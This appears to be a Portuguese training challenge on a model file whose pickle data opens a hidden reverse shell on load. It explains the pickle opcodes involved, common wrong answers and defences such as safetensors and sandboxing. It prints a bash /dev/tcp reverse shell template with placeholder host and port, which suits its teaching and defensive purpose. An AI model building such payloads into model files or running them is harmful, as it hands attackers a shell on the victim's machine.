O modelo que ligava para casa: um reverse shell escondido em um pickle
O desafio
Um modelo baixado roda código ao ser carregado. Leia os opcodes pickle nos bytes do arquivo. Ache o IP:porta que o shell escondido chama.
O que você vai aprender
- Explicar por que carregar um pickle pode executar código arbitrário
- Ler STACK_GLOBAL, TUPLE1 e REDUCE em um fluxo pickle bruto
- Distinguir uma string que o pickle chama de uma que ele apenas guarda
- Reconhecer um reverse shell bash /dev/tcp e extrair seu IP e porta
- Citar as formas seguras de carregar pesos de modelos de terceiros
Habilidades testadas
Pré-requisitos
- Ler a coluna ASCII em uma visualização hex
- O que é uma chamada de função em Python
Como funciona
O formato pickle do Python é uma lista de instruções para uma pequena máquina de pilha. Carregar um pickle executa essas instruções para reconstruir os objetos salvos, e o formato permite que um objeto diga como se reconstruir: "importe esta função, chame-a com estes argumentos". Nos bytes, isso é STACK_GLOBAL (0x93), que importa uma função nomeada pelas duas strings anteriores, e depois REDUCE (0x52), que a chama.
Nada restringe qual função pode ser usada. Um arquivo de modelo que faz posix.system (o módulo por trás de os no Linux) executa um comando de shell na máquina de quem o carrega, e faz isso enquanto o arquivo ainda está sendo lido, antes de qualquer peso ser usado. A forma bash /dev/tcp/HOST/PORT abre uma conexão TCP, então bash -i >& /dev/tcp/HOST/PORT 0>&1 é um reverse shell: o terminal da vítima, conectado de volta ao atacante.
No início de 2024, a JFrog reportou cerca de cem modelos no Hugging Face com código assim, incluindo um modelo PyTorch que abria um reverse shell para um IP fixo no código assim que era carregado. Em 2025, a ReversingLabs mostrou pickles deliberadamente quebrados após o payload, de modo que o payload rodava enquanto scanners populares falhavam ao interpretar o resto.
Erros comuns
- Responder o tracking_uri.
203.0.113.17:5000é uma string guardada: depois dela vem umMEMOIZEe a próxima chave, nunca umREDUCE. Só a string entregue aoREDUCEé executada. - Responder o hub.
tensorhub.exampleé o lugar de onde o modelo foi baixado, não onde o shell se conecta. - Perder a porta na quebra de linha. A string quebra:
/44termina uma linha e44começa a seguinte. A porta é4444. - Omitir a porta.
/dev/tcp/HOST/PORTtraz as duas; a resposta éIP:porta. - Ler os pesos como opcodes. Depois de
42(BINBYTES) e seu comprimento de 4 bytes, tudo é dado float bruto; um2Eali não é um STOP.
Como se proteger
Nunca faça unpickle de um modelo que você não produziu.
- Distribua e carregue pesos como
safetensors, um formato que guarda tensores e nada executável. - Com PyTorch, carregue com
torch.load(path, weights_only=True)(o padrão desde o PyTorch 2.6) e não o sobrescreva para um arquivo baixado. - Inspecione um pickle não confiável com
python -m pickletools model.pklou um scanner de modelos, que desmontam sem executar, e trate qualquerGLOBAL/STACK_GLOBALfora dos helpers de tensor esperados como hostil. Scanners podem ser evadidos, então isto é um filtro, não uma garantia. - Abra modelos não verificados em uma sandbox ou container sem rede de saída, para que um payload que rode mesmo assim não alcance seu servidor.